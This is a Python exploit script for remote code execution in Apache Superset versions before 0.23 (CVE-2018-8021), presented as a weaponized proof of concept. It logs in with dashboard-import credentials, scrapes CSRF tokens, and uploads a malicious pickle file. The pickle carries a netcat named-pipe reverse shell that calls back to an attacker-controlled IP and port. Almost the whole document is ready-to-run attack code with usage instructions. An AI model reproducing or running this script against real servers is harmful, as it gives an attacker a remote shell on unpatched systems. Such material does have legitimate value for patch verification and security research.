# Exploit Title: Apache Superset < 0.23 - Remote Code Execution# Date: 2018-05-17# Exploit Author: David May (david.may@semanticbits.com)# Vendor Homepage: https://superset.apache.org/# Software Link: https://github.com/apache/incubator-superset# Version: Any before 0.23# Tested on: Ubuntu 18.04# CVE-ID: CVE-2018-8021# I originally disclosed this to the Apache Superset team back in May, and the fix had already been # in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.#!/usr/bin/env pythonimport sys
import os
from lxml import html
import requests
# Change these values to your TCP listener
myIP ='192.168.137.129'
myPort ='8888'# Credentials must belong to user with 'can Import Dashboards on Superset' privilege
username ='test'
password ='test'# Logic in case script arguments are not givenif len(sys.argv)<3:
print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
print('Script Usage:')
print('./supersetrce.py <superset server ip> <superset port>')
sys.exit()
else:
# Script arguments
supersetIP = sys.argv[1]
supersetPort = sys.argv[2]# Verify these URLs match your environment
login_URL ='http://' + supersetIP + ':' + supersetPort + '/login/'
upload_URL ='http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'# Checks to see if file that we are going to write already exists in case this is run more than onceif os.path.isfile('evil.pickle'):
os.remove('evil.pickle')# Headers that we append to our POST requests
headers_dict ={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
'DNT':'1',
'Connection':'close',
'Upgrade-Insecure-Requests':'1',
}# Creates evil pickle file and writes the reverse shell to it
evilPickle = open('evil.pickle','w+')
evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe |nc' + myIP + '' + myPort + '1>/tmp/backpipe\'\ntR.')
evilPickle.close()
# Start a session so we have persistent cookies
session = requests.session()
# Grabs the Login page to parse it for its CSRF token
login_page = session.get(login_URL)
if login_page.status_code != 200:
print('Login page not reached, verify URLs in script')
login_tree = html.fromstring(login_page.content)
csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')
# Form data that is sent in the POST request to Login page
login_data = {
'csrf_token' : csrf_token,
'username' : username,
'password' : password,
}
# Adds the Referer header for the login page
headers_dict['Referer'] = login_URL
# Logon action
login = session.post(login_URL, headers=headers_dict, data=login_data)
# Grabs the Upload page to parse it for its CSRF token
upload_page = session.get(upload_URL)
if upload_page.status_code != 200:
print('Upload page not reached, verify credentials and URLs in script')
upload_tree = html.fromstring(upload_page.content)
csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')
# Adds the Referer header for the Upload page
headers_dict['Referer'] = upload_URL
# Upload action
upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})# Closes the session
session.close()
sys.exit()